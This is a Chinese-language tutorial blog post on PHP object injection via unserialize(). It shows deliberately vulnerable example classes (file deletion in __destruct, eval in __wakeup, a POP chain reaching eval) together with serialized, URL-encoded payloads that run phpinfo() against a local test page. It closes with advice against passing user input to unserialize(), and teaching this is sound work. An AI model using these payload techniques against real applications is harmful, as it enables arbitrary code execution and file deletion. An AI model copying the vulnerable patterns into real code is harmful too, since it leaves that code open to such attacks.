0x01简介

php对象注入(php Object Injection),就是通常说的php反序列化。

0x02 基本实现原理

php序列化操作serialize()是为了将对象或数组等转变为正常的字符串,用于保存内容或传参数等等。那么反序列化unserialize()是其相反的操作,将一个序列化好的字符串作为输入,返回原来的数组或对象等,但其中需考虑到对象实例化和自动加载。也就是说,反序列化可能会导致代码被执行。

对象实例化,当调用new class()时,class()就成为了一个实例化的对象。当反序列化一个字符串时,而这正是PHP所做的(对象实例化),就会恢复原来的数组或对象。反序列化对象允许控制所有属性:publicprotectedprivate

举个例子:反序列化对象通过__construct()初始化,通过__wakeup()唤醒,执行完后有__destruct()销毁,那么在这些魔幻函数中存在的代码是会被执行的,而这些代码又恰好被我们控制的话,漏洞就产生了。根据不同的内容可以导致多种多样的攻击,比如代码注入,sql注入,目录遍历和拒绝服务等。

漏洞的根源在于可控参数传递给unserialize()函数没有采取合理地过滤。成功利用需要两个条件:

  1. 应用程序中必须含有一个实现某个PHP魔幻方法(例如__wakeup或者__destruct)的类,可以用这个类进行恶意攻击。
  2. POP chain

常见的魔术函数:__construct(),__destruct(),__call(),callStatic(),__get(),__set(),__isset(),__unset(),__sleep(),__wakeup(),__tostring()

0x03 普通反序列化__destruct()

一般反序列化只要满足下面几个条件即可利用:

  • 反序列化unserialize()参数的值可控
  • 含有魔术方法
  • 魔术方法内部有可控参数

拿owasp上的一个例子说明一下(源代码稍有改动,windows下测试成功):

<?php
/**
 * Created by PhpStorm.
 * User: 徐超
 * Date: 2018/10/12
 * Time: 上午 11:38
 */

class Example1
{
    public $cache_file;

    function __construct()
    {
        // some PHP code...
    }

    function __destruct()
    {
        print $this->cache_file;
        $file = "F:\\"."$this->cache_file";
        print $file;
        if (file_exists($file))
        {
            print 'exist';
            @unlink($file);
        }
    }
}

// some PHP code...

$user_data = unserialize($_GET['data']);

// some PHP code...

?>

通过析构函数destruct()可以使用目录穿越删除任意文件。下面生成反序列化字符串:

<?php
/**
 * Created by PhpStorm.
 * User: 徐超
 * Date: 2018/10/12
 * Time: 上午 11:39
 */
class Example1{
    public $cache_file = 'test.txt';
}

$a = new Example1();
print serialize($a);

O:8:"Example1":1:{s:10:"cache_file";s:8:"test.txt";}

删除F盘下test.txt成功。

0x04 普通反序列化 __wakeup()

  • unserialize() 从字节流中创建了一个对象之后,马上检查是否具有__wakeup 的函数的存在。如果存在,__wakeup 立刻被调用。使用 __wakeup 的目的是重建在序列化中可能丢失的任何数据库连接以及处理其它重新初始化的任务。

看下面一段代码:

<?php
/**
 * Created by PhpStorm.
 * User: 徐超
 * Date: 2018/10/12
 * Time: 下午 02:57
 */
class Example2
{
    private $hook;

    /**
     * @return mixed
     */
    public function getHook()
    {
        return $this->hook;
    }
    function __construct()
    {
        // some PHP code...
    }

    function __wakeup()
    {
        if (isset($this->hook)) eval($this->hook);
    }
}

// some PHP code...

$user_data = unserialize($_COOKIE['data']);
var_dump($user_data);

// some PHP code...

分析:和上面基本一样,构造生成函数如下。

<?php
/**
 * Created by PhpStorm.
 * User: 徐超
 * Date: 2018/10/12
 * Time: 下午 02:57
 */

class Example2{
    private $hook ;

    /**
     * @param string $hook
     */
    public function __construct()
    {
        $this->hook = 'phpinfo();';
    }

    /**
     * @return string
     */
    public function getHook()
    {
        return $this->hook;
    }

}

$a = new Example2();
echo $a->getHook();

$b = urlencode(serialize($a));  //这里简直是一个大坑,生成的反序列化字符串含有不可打印字符,一定要url编码一下。
print $b;

payload如下:

O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D

hackbar提交即可。

0x05 反序列化之pop chain

owasp上的例子涉及数据库,有点复杂,在这我们自己举一个例子。

<?php
/**
 * Created by PhpStorm.
 * User: 徐超
 * Date: 2018/10/12
 * Time: 下午 04:26
 */


class Example3 {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new fun1();
    }

    function __destruct() {
        $this->ClassObj->action();
    }
}

class fun1 {
    function action() {
        echo "this is fun1";
    }
}

class php_info {
    private $data;
    function action() {
        eval($this->data);
    }
}

unserialize($_GET['a']);

上面代码可知example3本来要实例化fun1,然后调用action()方法,但是php_info类中也含有action()方法。所以如下代码生成反序列化字符串。

<?php
/**
 * Created by PhpStorm.
 * User: 徐超
 * Date: 2018/10/12
 * Time: 下午 04:26
 */
class Example3 {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new php_info();
    }
}
class php_info {
    private $data = "phpinfo();";
}

$a = serialize(new Example3());
print $a;
echo "\n\r";
echo urlencode($a);  //含空字符所以要url编码一下。
echo "\n\r";

输出如下:

D:\phpStudy\php\php-5.6.27-nts\php.exe "F:\php code\example3_generate.php"
O:8:"Example3":1:{s:11:" * ClassObj";O:8:"php_info":1:{s:14:" php_info data";s:10:"phpinfo();";}}
O%3A8%3A%22Example3%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A8%3A%22php_info%22%3A1%3A%7Bs%3A14%3A%22%00php_info%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

payload:

http://localhost:63342/php%20code/example3.php?a=O%3A8%3A%22Example3%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A8%3A%22php_info%22%3A1%3A%7Bs%3A14%3A%22%00php_info%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

即可执行phpinfo(),当然也可以执行任意php函数。

0x06 漏洞挖掘

  1. 观察输入的数据来源是否被反序列化;
  2. 搜索魔幻函数,观察有漏洞的脚本是否包含这个类。php中提供了get_included_files(),可以用来得到该脚本包含的文件。所以,我们在serialize调用前加上get_included_files()查看已包含的脚本,观察有漏洞的类是否在其中。

0x07关于反序列化的一些想法

serialize()/unserialize() 感觉就是一个坑,完全可以用json_encode()/json_decode()代替,如果非要使用序列化千万不要直接将用户输入传到unserialize()函数中。

0x08参考

preView